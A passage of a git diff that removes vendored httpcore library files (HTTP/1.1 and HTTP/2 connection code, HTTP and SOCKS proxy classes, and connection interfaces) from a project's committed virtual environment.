kwargs = {"request": self._request} - try: - with Trace("receive_response_body", logger, self._request, kwargs): - for chunk in self._connection._receive_response_body(**kwargs): - yield chunk - except BaseException as exc: - # If we get an exception while streaming the response, - # we want to close the response (and possibly the connection) - # before raising that exception. - with ShieldCancellation(): - self.close() - raise exc - - def close(self) -> None: - if not self._closed: - self._closed = True - with Trace("response_closed", logger, self._request): - self._connection._response_closed() - - -class HTTP11UpgradeStream(NetworkStream): - def __init__(self, stream: NetworkStream, leading_data: bytes) -> None: - self._stream = stream - self._leading_data = leading_data - - def read(self, max_bytes: int, timeout: float | None = None) -> bytes: - if self._leading_data: - buffer = self._leading_data[:max_bytes] - self._leading_data = self._leading_data[max_bytes:] - return buffer - else: - return self._stream.read(max_bytes, timeout) - - def write(self, buffer: bytes, timeout: float | None = None) -> None: - self._stream.write(buffer, timeout) - - def close(self) -> None: - self._stream.close() - - def start_tls( - self, - ssl_context: ssl.SSLContext, - server_hostname: str | None = None, - timeout: float | None = None, - ) -> NetworkStream: - return self._stream.start_tls(ssl_context, server_hostname, timeout) - - def get_extra_info(self, info: str) -> typing.Any: - return self._stream.get_extra_info(info) diff --git a/venv/Lib/site-packages/httpcore/_sync/http2.py b/venv/Lib/site-packages/httpcore/_sync/http2.py deleted file mode 100644 index ddcc189001c50c37c6a03810dc21d955df919f10..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/http2.py +++ /dev/null @@ -1,592 +0,0 @@ -from __future__ import annotations - -import enum -import logging -import time -import types -import typing - -import h2.config -import h2.connection -import h2.events -import h2.exceptions -import h2.settings - -from .._backends.base import NetworkStream -from .._exceptions import ( - ConnectionNotAvailable, - LocalProtocolError, - RemoteProtocolError, -) -from .._models import Origin, Request, Response -from .._synchronization import Lock, Semaphore, ShieldCancellation -from .._trace import Trace -from .interfaces import ConnectionInterface - -logger = logging.getLogger("httpcore.http2") - - -def has_body_headers(request: Request) -> bool: - return any( - k.lower() == b"content-length" or k.lower() == b"transfer-encoding" - for k, v in request.headers - ) - - -class HTTPConnectionState(enum.IntEnum): - ACTIVE = 1 - IDLE = 2 - CLOSED = 3 - - -class HTTP2Connection(ConnectionInterface): - READ_NUM_BYTES = 64 * 1024 - CONFIG = h2.config.H2Configuration(validate_inbound_headers=False) - - def __init__( - self, - origin: Origin, - stream: NetworkStream, - keepalive_expiry: float | None = None, - ): - self._origin = origin - self._network_stream = stream - self._keepalive_expiry: float | None = keepalive_expiry - self._h2_state = h2.connection.H2Connection(config=self.CONFIG) - self._state = HTTPConnectionState.IDLE - self._expire_at: float | None = None - self._request_count = 0 - self._init_lock = Lock() - self._state_lock = Lock() - self._read_lock = Lock() - self._write_lock = Lock() - self._sent_connection_init = False - self._used_all_stream_ids = False - self._connection_error = False - - # Mapping from stream ID to response stream events. - self._events: dict[ - int, - list[ - h2.events.ResponseReceived - | h2.events.DataReceived - | h2.events.StreamEnded - | h2.events.StreamReset, - ], - ] = {} - - # Connection terminated events are stored as state since - # we need to handle them for all streams. - self._connection_terminated: h2.events.ConnectionTerminated | None = None - - self._read_exception: Exception | None = None - self._write_exception: Exception | None = None - - def handle_request(self, request: Request) -> Response: - if not self.can_handle_request(request.url.origin): - # This cannot occur in normal operation, since the connection pool - # will only send requests on connections that handle them. - # It's in place simply for resilience as a guard against incorrect - # usage, for anyone working directly with httpcore connections. - raise RuntimeError( - f"Attempted to send request to {request.url.origin} on connection " - f"to {self._origin}" - ) - - with self._state_lock: - if self._state in (HTTPConnectionState.ACTIVE, HTTPConnectionState.IDLE): - self._request_count += 1 - self._expire_at = None - self._state = HTTPConnectionState.ACTIVE - else: - raise ConnectionNotAvailable() - - with self._init_lock: - if not self._sent_connection_init: - try: - sci_kwargs = {"request": request} - with Trace( - "send_connection_init", logger, request, sci_kwargs - ): - self._send_connection_init(**sci_kwargs) - except BaseException as exc: - with ShieldCancellation(): - self.close() - raise exc - - self._sent_connection_init = True - - # Initially start with just 1 until the remote server provides - # its max_concurrent_streams value - self._max_streams = 1 - - local_settings_max_streams = ( - self._h2_state.local_settings.max_concurrent_streams - ) - self._max_streams_semaphore = Semaphore(local_settings_max_streams) - - for _ in range(local_settings_max_streams - self._max_streams): - self._max_streams_semaphore.acquire() - - self._max_streams_semaphore.acquire() - - try: - stream_id = self._h2_state.get_next_available_stream_id() - self._events[stream_id] = [] - except h2.exceptions.NoAvailableStreamIDError: # pragma: nocover - self._used_all_stream_ids = True - self._request_count -= 1 - raise ConnectionNotAvailable() - - try: - kwargs = {"request": request, "stream_id": stream_id} - with Trace("send_request_headers", logger, request, kwargs): - self._send_request_headers(request=request, stream_id=stream_id) - with Trace("send_request_body", logger, request, kwargs): - self._send_request_body(request=request, stream_id=stream_id) - with Trace( - "receive_response_headers", logger, request, kwargs - ) as trace: - status, headers = self._receive_response( - request=request, stream_id=stream_id - ) - trace.return_value = (status, headers) - - return Response( - status=status, - headers=headers, - content=HTTP2ConnectionByteStream(self, request, stream_id=stream_id), - extensions={ - "http_version": b"HTTP/2", - "network_stream": self._network_stream, - "stream_id": stream_id, - }, - ) - except BaseException as exc: # noqa: PIE786 - with ShieldCancellation(): - kwargs = {"stream_id": stream_id} - with Trace("response_closed", logger, request, kwargs): - self._response_closed(stream_id=stream_id) - - if isinstance(exc, h2.exceptions.ProtocolError): - # One case where h2 can raise a protocol error is when a - # closed frame has been seen by the state machine. - # - # This happens when one stream is reading, and encounters - # a GOAWAY event. Other flows of control may then raise - # a protocol error at any point they interact with the 'h2_state'. - # - # In this case we'll have stored the event, and should raise - # it as a RemoteProtocolError. - if self._connection_terminated: # pragma: nocover - raise RemoteProtocolError(self._connection_terminated) - # If h2 raises a protocol error in some other state then we - # must somehow have made a protocol violation. - raise LocalProtocolError(exc) # pragma: nocover - - raise exc - - def _send_connection_init(self, request: Request) -> None: - """ - The HTTP/2 connection requires some initial setup before we can start - using individual request/response streams on it. - """ - # Need to set these manually here instead of manipulating via - # __setitem__() otherwise the H2Connection will emit SettingsUpdate - # frames in addition to sending the undesired defaults. - self._h2_state.local_settings = h2.settings.Settings( - client=True, - initial_values={ - # Disable PUSH_PROMISE frames from the server since we don't do anything - # with them for now. Maybe when we support caching? - h2.settings.SettingCodes.ENABLE_PUSH: 0, - # These two are taken from h2 for safe defaults - h2.settings.SettingCodes.MAX_CONCURRENT_STREAMS: 100, - h2.settings.SettingCodes.MAX_HEADER_LIST_SIZE: 65536, - }, - ) - - # Some websites (*cough* Yahoo *cough*) balk at this setting being - # present in the initial handshake since it's not defined in the original - # RFC despite the RFC mandating ignoring settings you don't know about. - del self._h2_state.local_settings[ - h2.settings.SettingCodes.ENABLE_CONNECT_PROTOCOL - ] - - self._h2_state.initiate_connection() - self._h2_state.increment_flow_control_window(2**24) - self._write_outgoing_data(request) - - # Sending the request... - - def _send_request_headers(self, request: Request, stream_id: int) -> None: - """ - Send the request headers to a given stream ID. - """ - end_stream = not has_body_headers(request) - - # In HTTP/2 the ':authority' pseudo-header is used instead of 'Host'. - # In order to gracefully handle HTTP/1.1 and HTTP/2 we always require - # HTTP/1.1 style headers, and map them appropriately if we end up on - # an HTTP/2 connection. - authority = [v for k, v in request.headers if k.lower() == b"host"][0] - - headers = [ - (b":method", request.method), - (b":authority", authority), - (b":scheme", request.url.scheme), - (b":path", request.url.target), - ] + [ - (k.lower(), v) - for k, v in request.headers - if k.lower() - not in ( - b"host", - b"transfer-encoding", - ) - ] - - self._h2_state.send_headers(stream_id, headers, end_stream=end_stream) - self._h2_state.increment_flow_control_window(2**24, stream_id=stream_id) - self._write_outgoing_data(request) - - def _send_request_body(self, request: Request, stream_id: int) -> None: - """ - Iterate over the request body sending it to a given stream ID. - """ - if not has_body_headers(request): - return - - assert isinstance(request.stream, typing.Iterable) - for data in request.stream: - self._send_stream_data(request, stream_id, data) - self._send_end_stream(request, stream_id) - - def _send_stream_data( - self, request: Request, stream_id: int, data: bytes - ) -> None: - """ - Send a single chunk of data in one or more data frames. - """ - while data: - max_flow = self._wait_for_outgoing_flow(request, stream_id) - chunk_size = min(len(data), max_flow) - chunk, data = data[:chunk_size], data[chunk_size:] - self._h2_state.send_data(stream_id, chunk) - self._write_outgoing_data(request) - - def _send_end_stream(self, request: Request, stream_id: int) -> None: - """ - Send an empty data frame on on a given stream ID with the END_STREAM flag set. - """ - self._h2_state.end_stream(stream_id) - self._write_outgoing_data(request) - - # Receiving the response... - - def _receive_response( - self, request: Request, stream_id: int - ) -> tuple[int, list[tuple[bytes, bytes]]]: - """ - Return the response status code and headers for a given stream ID. - """ - while True: - event = self._receive_stream_event(request, stream_id) - if isinstance(event, h2.events.ResponseReceived): - break - - status_code = 200 - headers = [] - assert event.headers is not None - for k, v in event.headers: - if k == b":status": - status_code = int(v.decode("ascii", errors="ignore")) - elif not k.startswith(b":"): - headers.append((k, v)) - - return (status_code, headers) - - def _receive_response_body( - self, request: Request, stream_id: int - ) -> typing.Iterator[bytes]: - """ - Iterator that returns the bytes of the response body for a given stream ID. - """ - while True: - event = self._receive_stream_event(request, stream_id) - if isinstance(event, h2.events.DataReceived): - assert event.flow_controlled_length is not None - assert event.data is not None - amount = event.flow_controlled_length - self._h2_state.acknowledge_received_data(amount, stream_id) - self._write_outgoing_data(request) - yield event.data - elif isinstance(event, h2.events.StreamEnded): - break - - def _receive_stream_event( - self, request: Request, stream_id: int - ) -> h2.events.ResponseReceived | h2.events.DataReceived | h2.events.StreamEnded: - """ - Return the next available event for a given stream ID. - - Will read more data from the network if required. - """ - while not self._events.get(stream_id): - self._receive_events(request, stream_id) - event = self._events[stream_id].pop(0) - if isinstance(event, h2.events.StreamReset): - raise RemoteProtocolError(event) - return event - - def _receive_events( - self, request: Request, stream_id: int | None = None - ) -> None: - """ - Read some data from the network until we see one or more events - for a given stream ID. - """ - with self._read_lock: - if self._connection_terminated is not None: - last_stream_id = self._connection_terminated.last_stream_id - if stream_id and last_stream_id and stream_id > last_stream_id: - self._request_count -= 1 - raise ConnectionNotAvailable() - raise RemoteProtocolError(self._connection_terminated) - - # This conditional is a bit icky. We don't want to block reading if we've - # actually got an event to return for a given stream. We need to do that - # check *within* the atomic read lock. Though it also need to be optional, - # because when we call it from `_wait_for_outgoing_flow` we *do* want to - # block until we've available flow control, event when we have events - # pending for the stream ID we're attempting to send on. - if stream_id is None or not self._events.get(stream_id): - events = self._read_incoming_data(request) - for event in events: - if isinstance(event, h2.events.RemoteSettingsChanged): - with Trace( - "receive_remote_settings", logger, request - ) as trace: - self._receive_remote_settings_change(event) - trace.return_value = event - - elif isinstance( - event, - ( - h2.events.ResponseReceived, - h2.events.DataReceived, - h2.events.StreamEnded, - h2.events.StreamReset, - ), - ): - if event.stream_id in self._events: - self._events[event.stream_id].append(event) - - elif isinstance(event, h2.events.ConnectionTerminated): - self._connection_terminated = event - - self._write_outgoing_data(request) - - def _receive_remote_settings_change( - self, event: h2.events.RemoteSettingsChanged - ) -> None: - max_concurrent_streams = event.changed_settings.get( - h2.settings.SettingCodes.MAX_CONCURRENT_STREAMS - ) - if max_concurrent_streams: - new_max_streams = min( - max_concurrent_streams.new_value, - self._h2_state.local_settings.max_concurrent_streams, - ) - if new_max_streams and new_max_streams != self._max_streams: - while new_max_streams > self._max_streams: - self._max_streams_semaphore.release() - self._max_streams += 1 - while new_max_streams < self._max_streams: - self._max_streams_semaphore.acquire() - self._max_streams -= 1 - - def _response_closed(self, stream_id: int) -> None: - self._max_streams_semaphore.release() - del self._events[stream_id] - with self._state_lock: - if self._connection_terminated and not self._events: - self.close() - - elif self._state == HTTPConnectionState.ACTIVE and not self._events: - self._state = HTTPConnectionState.IDLE - if self._keepalive_expiry is not None: - now = time.monotonic() - self._expire_at = now + self._keepalive_expiry - if self._used_all_stream_ids: # pragma: nocover - self.close() - - def close(self) -> None: - # Note that this method unilaterally closes the connection, and does - # not have any kind of locking in place around it. - self._h2_state.close_connection() - self._state = HTTPConnectionState.CLOSED - self._network_stream.close() - - # Wrappers around network read/write operations... - - def _read_incoming_data(self, request: Request) -> list[h2.events.Event]: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("read", None) - - if self._read_exception is not None: - raise self._read_exception # pragma: nocover - - try: - data = self._network_stream.read(self.READ_NUM_BYTES, timeout) - if data == b"": - raise RemoteProtocolError("Server disconnected") - except Exception as exc: - # If we get a network error we should: - # - # 1. Save the exception and just raise it immediately on any future reads. - # (For example, this means that a single read timeout or disconnect will - # immediately close all pending streams. Without requiring multiple - # sequential timeouts.) - # 2. Mark the connection as errored, so that we don't accept any other - # incoming requests. - self._read_exception = exc - self._connection_error = True - raise exc - - events: list[h2.events.Event] = self._h2_state.receive_data(data) - - return events - - def _write_outgoing_data(self, request: Request) -> None: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("write", None) - - with self._write_lock: - data_to_send = self._h2_state.data_to_send() - - if self._write_exception is not None: - raise self._write_exception # pragma: nocover - - try: - self._network_stream.write(data_to_send, timeout) - except Exception as exc: # pragma: nocover - # If we get a network error we should: - # - # 1. Save the exception and just raise it immediately on any future write. - # (For example, this means that a single write timeout or disconnect will - # immediately close all pending streams. Without requiring multiple - # sequential timeouts.) - # 2. Mark the connection as errored, so that we don't accept any other - # incoming requests. - self._write_exception = exc - self._connection_error = True - raise exc - - # Flow control... - - def _wait_for_outgoing_flow(self, request: Request, stream_id: int) -> int: - """ - Returns the maximum allowable outgoing flow for a given stream. - - If the allowable flow is zero, then waits on the network until - WindowUpdated frames have increased the flow rate. - https://tools.ietf.org/html/rfc7540#section-6.9 - """ - local_flow: int = self._h2_state.local_flow_control_window(stream_id) - max_frame_size: int = self._h2_state.max_outbound_frame_size - flow = min(local_flow, max_frame_size) - while flow == 0: - self._receive_events(request) - local_flow = self._h2_state.local_flow_control_window(stream_id) - max_frame_size = self._h2_state.max_outbound_frame_size - flow = min(local_flow, max_frame_size) - return flow - - # Interface for connection pooling... - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._origin - - def is_available(self) -> bool: - return ( - self._state != HTTPConnectionState.CLOSED - and not self._connection_error - and not self._used_all_stream_ids - and not ( - self._h2_state.state_machine.state - == h2.connection.ConnectionState.CLOSED - ) - ) - - def has_expired(self) -> bool: - now = time.monotonic() - return self._expire_at is not None and now > self._expire_at - - def is_idle(self) -> bool: - return self._state == HTTPConnectionState.IDLE - - def is_closed(self) -> bool: - return self._state == HTTPConnectionState.CLOSED - - def info(self) -> str: - origin = str(self._origin) - return ( - f"{origin!r}, HTTP/2, {self._state.name}, " - f"Request Count: {self._request_count}" - ) - - def __repr__(self) -> str: - class_name = self.__class__.__name__ - origin = str(self._origin) - return ( - f"<{class_name} [{origin!r}, {self._state.name}, " - f"Request Count: {self._request_count}]>" - ) - - # These context managers are not used in the standard flow, but are - # useful for testing or working with connection instances directly. - - def __enter__(self) -> HTTP2Connection: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None = None, - exc_value: BaseException | None = None, - traceback: types.TracebackType | None = None, - ) -> None: - self.close() - - -class HTTP2ConnectionByteStream: - def __init__( - self, connection: HTTP2Connection, request: Request, stream_id: int - ) -> None: - self._connection = connection - self._request = request - self._stream_id = stream_id - self._closed = False - - def __iter__(self) -> typing.Iterator[bytes]: - kwargs = {"request": self._request, "stream_id": self._stream_id} - try: - with Trace("receive_response_body", logger, self._request, kwargs): - for chunk in self._connection._receive_response_body( - request=self._request, stream_id=self._stream_id - ): - yield chunk - except BaseException as exc: - # If we get an exception while streaming the response, - # we want to close the response (and possibly the connection) - # before raising that exception. - with ShieldCancellation(): - self.close() - raise exc - - def close(self) -> None: - if not self._closed: - self._closed = True - kwargs = {"stream_id": self._stream_id} - with Trace("response_closed", logger, self._request, kwargs): - self._connection._response_closed(stream_id=self._stream_id) diff --git a/venv/Lib/site-packages/httpcore/_sync/http_proxy.py b/venv/Lib/site-packages/httpcore/_sync/http_proxy.py deleted file mode 100644 index ecca88f7dc93b78f2aa26f16cf29d17a8a83ae27..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/http_proxy.py +++ /dev/null @@ -1,367 +0,0 @@ -from __future__ import annotations - -import base64 -import logging -import ssl -import typing - -from .._backends.base import SOCKET_OPTION, NetworkBackend -from .._exceptions import ProxyError -from .._models import ( - URL, - Origin, - Request, - Response, - enforce_bytes, - enforce_headers, - enforce_url, -) -from .._ssl import default_ssl_context -from .._synchronization import Lock -from .._trace import Trace -from .connection import HTTPConnection -from .connection_pool import ConnectionPool -from .http11 import HTTP11Connection -from .interfaces import ConnectionInterface - -ByteOrStr = typing.Union[bytes, str] -HeadersAsSequence = typing.Sequence[typing.Tuple[ByteOrStr, ByteOrStr]] -HeadersAsMapping = typing.Mapping[ByteOrStr, ByteOrStr] - - -logger = logging.getLogger("httpcore.proxy") - - -def merge_headers( - default_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, - override_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, -) -> list[tuple[bytes, bytes]]: - """ - Append default_headers and override_headers, de-duplicating if a key exists - in both cases. - """ - default_headers = [] if default_headers is None else list(default_headers) - override_headers = [] if override_headers is None else list(override_headers) - has_override = set(key.lower() for key, value in override_headers) - default_headers = [ - (key, value) - for key, value in default_headers - if key.lower() not in has_override - ] - return default_headers + override_headers - - -class HTTPProxy(ConnectionPool): # pragma: nocover - """ - A connection pool that sends requests via an HTTP proxy. - """ - - def __init__( - self, - proxy_url: URL | bytes | str, - proxy_auth: tuple[bytes | str, bytes | str] | None = None, - proxy_headers: HeadersAsMapping | HeadersAsSequence | None = None, - ssl_context: ssl.SSLContext | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - max_connections: int | None = 10, - max_keepalive_connections: int | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - retries: int = 0, - local_address: str | None = None, - uds: str | None = None, - network_backend: NetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - """ - A connection pool for making HTTP requests. - - Parameters: - proxy_url: The URL to use when connecting to the proxy server. - For example `"http://127.0.0.1:8080/"`. - proxy_auth: Any proxy authentication as a two-tuple of - (username, password). May be either bytes or ascii-only str. - proxy_headers: Any HTTP headers to use for the proxy requests. - For example `{"Proxy-Authorization": "Basic :"}`. - ssl_context: An SSL context to use for verifying connections. - If not specified, the default `httpcore.default_ssl_context()` - will be used. - proxy_ssl_context: The same as `ssl_context`, but for a proxy server rather than a remote origin. - max_connections: The maximum number of concurrent HTTP connections that - the pool should allow. Any attempt to send a request on a pool that - would exceed this amount will block until a connection is available. - max_keepalive_connections: The maximum number of idle HTTP connections - that will be maintained in the pool. - keepalive_expiry: The duration in seconds that an idle HTTP connection - may be maintained for before being expired from the pool. - http1: A boolean indicating if HTTP/1.1 requests should be supported - by the connection pool. Defaults to True. - http2: A boolean indicating if HTTP/2 requests should be supported by - the connection pool. Defaults to False. - retries: The maximum number of retries when trying to establish - a connection. - local_address: Local address to connect from. Can also be used to - connect using a particular address family. Using - `local_address="0.0.0.0"` will connect using an `AF_INET` address - (IPv4), while using `local_address="::"` will connect using an - `AF_INET6` address (IPv6). - uds: Path to a Unix Domain Socket to use instead of TCP sockets. - network_backend: A backend instance to use for handling network I/O. - """ - super().__init__( - ssl_context=ssl_context, - max_connections=max_connections, - max_keepalive_connections=max_keepalive_connections, - keepalive_expiry=keepalive_expiry, - http1=http1, - http2=http2, - network_backend=network_backend, - retries=retries, - local_address=local_address, - uds=uds, - socket_options=socket_options, - ) - - self._proxy_url = enforce_url(proxy_url, name="proxy_url") - if ( - self._proxy_url.scheme == b"http" and proxy_ssl_context is not None - ): # pragma: no cover - raise RuntimeError( - "The `proxy_ssl_context` argument is not allowed for the http scheme" - ) - - self._ssl_context = ssl_context - self._proxy_ssl_context = proxy_ssl_context - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - if proxy_auth is not None: - username = enforce_bytes(proxy_auth[0], name="proxy_auth") - password = enforce_bytes(proxy_auth[1], name="proxy_auth") - userpass = username + b":" + password - authorization = b"Basic " + base64.b64encode(userpass) - self._proxy_headers = [ - (b"Proxy-Authorization", authorization) - ] + self._proxy_headers - - def create_connection(self, origin: Origin) -> ConnectionInterface: - if origin.scheme == b"http": - return ForwardHTTPConnection( - proxy_origin=self._proxy_url.origin, - proxy_headers=self._proxy_headers, - remote_origin=origin, - keepalive_expiry=self._keepalive_expiry, - network_backend=self._network_backend, - proxy_ssl_context=self._proxy_ssl_context, - ) - return TunnelHTTPConnection( - proxy_origin=self._proxy_url.origin, - proxy_headers=self._proxy_headers, - remote_origin=origin, - ssl_context=self._ssl_context, - proxy_ssl_context=self._proxy_ssl_context, - keepalive_expiry=self._keepalive_expiry, - http1=self._http1, - http2=self._http2, - network_backend=self._network_backend, - ) - - -class ForwardHTTPConnection(ConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - proxy_headers: HeadersAsMapping | HeadersAsSequence | None = None, - keepalive_expiry: float | None = None, - network_backend: NetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - ) -> None: - self._connection = HTTPConnection( - origin=proxy_origin, - keepalive_expiry=keepalive_expiry, - network_backend=network_backend, - socket_options=socket_options, - ssl_context=proxy_ssl_context, - ) - self._proxy_origin = proxy_origin - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - self._remote_origin = remote_origin - - def handle_request(self, request: Request) -> Response: - headers = merge_headers(self._proxy_headers, request.headers) - url = URL( - scheme=self._proxy_origin.scheme, - host=self._proxy_origin.host, - port=self._proxy_origin.port, - target=bytes(request.url), - ) - proxy_request = Request( - method=request.method, - url=url, - headers=headers, - content=request.stream, - extensions=request.extensions, - ) - return self._connection.handle_request(proxy_request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - def close(self) -> None: - self._connection.close() - - def info(self) -> str: - return self._connection.info() - - def is_available(self) -> bool: - return self._connection.is_available() - - def has_expired(self) -> bool: - return self._connection.has_expired() - - def is_idle(self) -> bool: - return self._connection.is_idle() - - def is_closed(self) -> bool: - return self._connection.is_closed() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" - - -class TunnelHTTPConnection(ConnectionInterface): - def __init__( - self, - proxy_origin: Origin, - remote_origin: Origin, - ssl_context: ssl.SSLContext | None = None, - proxy_ssl_context: ssl.SSLContext | None = None, - proxy_headers: typing.Sequence[tuple[bytes, bytes]] | None = None, - keepalive_expiry: float | None = None, - http1: bool = True, - http2: bool = False, - network_backend: NetworkBackend | None = None, - socket_options: typing.Iterable[SOCKET_OPTION] | None = None, - ) -> None: - self._connection: ConnectionInterface = HTTPConnection( - origin=proxy_origin, - keepalive_expiry=keepalive_expiry, - network_backend=network_backend, - socket_options=socket_options, - ssl_context=proxy_ssl_context, - ) - self._proxy_origin = proxy_origin - self._remote_origin = remote_origin - self._ssl_context = ssl_context - self._proxy_ssl_context = proxy_ssl_context - self._proxy_headers = enforce_headers(proxy_headers, name="proxy_headers") - self._keepalive_expiry = keepalive_expiry - self._http1 = http1 - self._http2 = http2 - self._connect_lock = Lock() - self._connected = False - - def handle_request(self, request: Request) -> Response: - timeouts = request.extensions.get("timeout", {}) - timeout = timeouts.get("connect", None) - - with self._connect_lock: - if not self._connected: - target = b"%b:%d" % (self._remote_origin.host, self._remote_origin.port) - - connect_url = URL( - scheme=self._proxy_origin.scheme, - host=self._proxy_origin.host, - port=self._proxy_origin.port, - target=target, - ) - connect_headers = merge_headers( - [(b"Host", target), (b"Accept", b"*/*")], self._proxy_headers - ) - connect_request = Request( - method=b"CONNECT", - url=connect_url, - headers=connect_headers, - extensions=request.extensions, - ) - connect_response = self._connection.handle_request( - connect_request - ) - - if connect_response.status < 200 or connect_response.status > 299: - reason_bytes = connect_response.extensions.get("reason_phrase", b"") - reason_str = reason_bytes.decode("ascii", errors="ignore") - msg = "%d %s" % (connect_response.status, reason_str) - self._connection.close() - raise ProxyError(msg) - - stream = connect_response.extensions["network_stream"] - - # Upgrade the stream to SSL - ssl_context = ( - default_ssl_context() - if self._ssl_context is None - else self._ssl_context - ) - alpn_protocols = ["http/1.1", "h2"] if self._http2 else ["http/1.1"] - ssl_context.set_alpn_protocols(alpn_protocols) - - kwargs = { - "ssl_context": ssl_context, - "server_hostname": self._remote_origin.host.decode("ascii"), - "timeout": timeout, - } - with Trace("start_tls", logger, request, kwargs) as trace: - stream = stream.start_tls(**kwargs) - trace.return_value = stream - - # Determine if we should be using HTTP/1.1 or HTTP/2 - ssl_object = stream.get_extra_info("ssl_object") - http2_negotiated = ( - ssl_object is not None - and ssl_object.selected_alpn_protocol() == "h2" - ) - - # Create the HTTP/1.1 or HTTP/2 connection - if http2_negotiated or (self._http2 and not self._http1): - from .http2 import HTTP2Connection - - self._connection = HTTP2Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - else: - self._connection = HTTP11Connection( - origin=self._remote_origin, - stream=stream, - keepalive_expiry=self._keepalive_expiry, - ) - - self._connected = True - return self._connection.handle_request(request) - - def can_handle_request(self, origin: Origin) -> bool: - return origin == self._remote_origin - - def close(self) -> None: - self._connection.close() - - def info(self) -> str: - return self._connection.info() - - def is_available(self) -> bool: - return self._connection.is_available() - - def has_expired(self) -> bool: - return self._connection.has_expired() - - def is_idle(self) -> bool: - return self._connection.is_idle() - - def is_closed(self) -> bool: - return self._connection.is_closed() - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} [{self.info()}]>" diff --git a/venv/Lib/site-packages/httpcore/_sync/interfaces.py b/venv/Lib/site-packages/httpcore/_sync/interfaces.py deleted file mode 100644 index e673d4cc1b1dd7e7ecdbde91fd6ada386c3de03f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/interfaces.py +++ /dev/null @@ -1,137 +0,0 @@ -from __future__ import annotations - -import contextlib -import typing - -from .._models import ( - URL, - Extensions, - HeaderTypes, - Origin, - Request, - Response, - enforce_bytes, - enforce_headers, - enforce_url, - include_request_headers, -) - - -class RequestInterface: - def request( - self, - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.Iterator[bytes] | None = None, - extensions: Extensions | None = None, - ) -> Response: - # Strict type checking on our parameters. - method = enforce_bytes(method, name="method") - url = enforce_url(url, name="url") - headers = enforce_headers(headers, name="headers") - - # Include Host header, and optionally Content-Length or Transfer-Encoding. - headers = include_request_headers(headers, url=url, content=content) - - request = Request( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) - response = self.handle_request(request) - try: - response.read() - finally: - response.close() - return response - - @contextlib.contextmanager - def stream( - self, - method: bytes | str, - url: URL | bytes | str, - *, - headers: HeaderTypes = None, - content: bytes | typing.Iterator[bytes] | None = None, - extensions: Extensions | None = None, - ) -> typing.Iterator[Response]: - # Strict type checking on our parameters. - method = enforce_bytes(method, name="method") - url = enforce_url(url, name="url") - headers = enforce_headers(headers, name="headers") - - # Include Host header, and optionally Content-Length or Transfer-Encoding. - headers = include_request_headers(headers, url=url, content=content) - - request = Request( - method=method, - url=url, - headers=headers, - content=content, - extensions=extensions, - ) - response = self.handle_request(request) - try: - yield response - finally: - response.close() - - def handle_request(self, request: Request) -> Response: - raise NotImplementedError() # pragma: nocover - - -class ConnectionInterface(RequestInterface): - def close(self) -> None: - raise NotImplementedError() # pragma: nocover - - def info(self) -> str: - raise NotImplementedError() # pragma: nocover - - def can_handle_request(self, origin: Origin) -> bool: - raise NotImplementedError() # pragma: nocover - - def is_available(self) -> bool: - """ - Return `True` if the connection is currently able to accept an - outgoing request. - - An HTTP/1.1 connection will only be available if it is currently idle. - - An HTTP/2 connection will be available so long as the stream ID space is - not yet exhausted, and the connection is not in an error state. - - While the connection is being established we may not yet know if it is going - to result in an HTTP/1.1 or HTTP/2 connection. The connection should be - treated as being available, but might ultimately raise `NewConnectionRequired` - required exceptions if multiple requests are attempted over a connection - that ends up being established as HTTP/1.1. - """ - raise NotImplementedError() # pragma: nocover - - def has_expired(self) -> bool: - """ - Return `True` if the connection is in a state where it should be closed. - - This either means that the connection is idle and it has passed the - expiry time on its keep-alive, or that server has sent an EOF. - """ - raise NotImplementedError() # pragma: nocover - - def is_idle(self) -> bool: - """ - Return `True` if the connection is currently idle. - """ - raise NotImplementedError() # pragma: nocover - - def is_closed(self) -> bool: - """ - Return `True` if the connection has been closed. - - Used when a response is closed to determine if the connection may be - returned to the connection pool or not. - """ - raise NotImplementedError() # pragma: nocover diff --git a/venv/Lib/site-packages/httpcore/_sync/socks_proxy.py b/venv/Lib/site-packages/httpcore/_sync/socks_proxy.py deleted file mode 100644 index 0ca96ddfb580b19413797f41e79f7abcecdd9d79..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpcore/_sync/socks_proxy.py +++ /dev/null @@ -1,341 +0,0 @@ -from __future__ import annotations - -import logging -import ssl - -import socksio - -from .._backends.sync import SyncBackend -from .._backends.base import NetworkBackend, NetworkStream -from .._exceptions import ConnectionNotAvailable, ProxyError -from .._models import URL, Origin, Request, Response, enforce_bytes, enforce_url -from .._ssl import default_ssl_context -from .._synchronization import Lock -from .._trace import Trace -from .connection_pool import ConnectionPool -from .http11 import HTTP11Connection -from .interfaces import ConnectionInterface - -logger = logging.getLogger("httpcore.socks") - - -AUTH_METHODS = { - b"\x00": "NO AUTHENTICATION REQUIRED", - b"\x01": "GSSAPI", - b"\x02": "USERNAME/PASSWORD", - b"\xff": "NO ACCEPTABLE METHODS", -} - -REPLY_CODES = { - b"\x00": "Succeeded", - b"\x01": "General SOCKS server failure", - b"\x02": "Connection not allowed by ruleset", - b"\x03": "Network unreachable", - b"\x04": 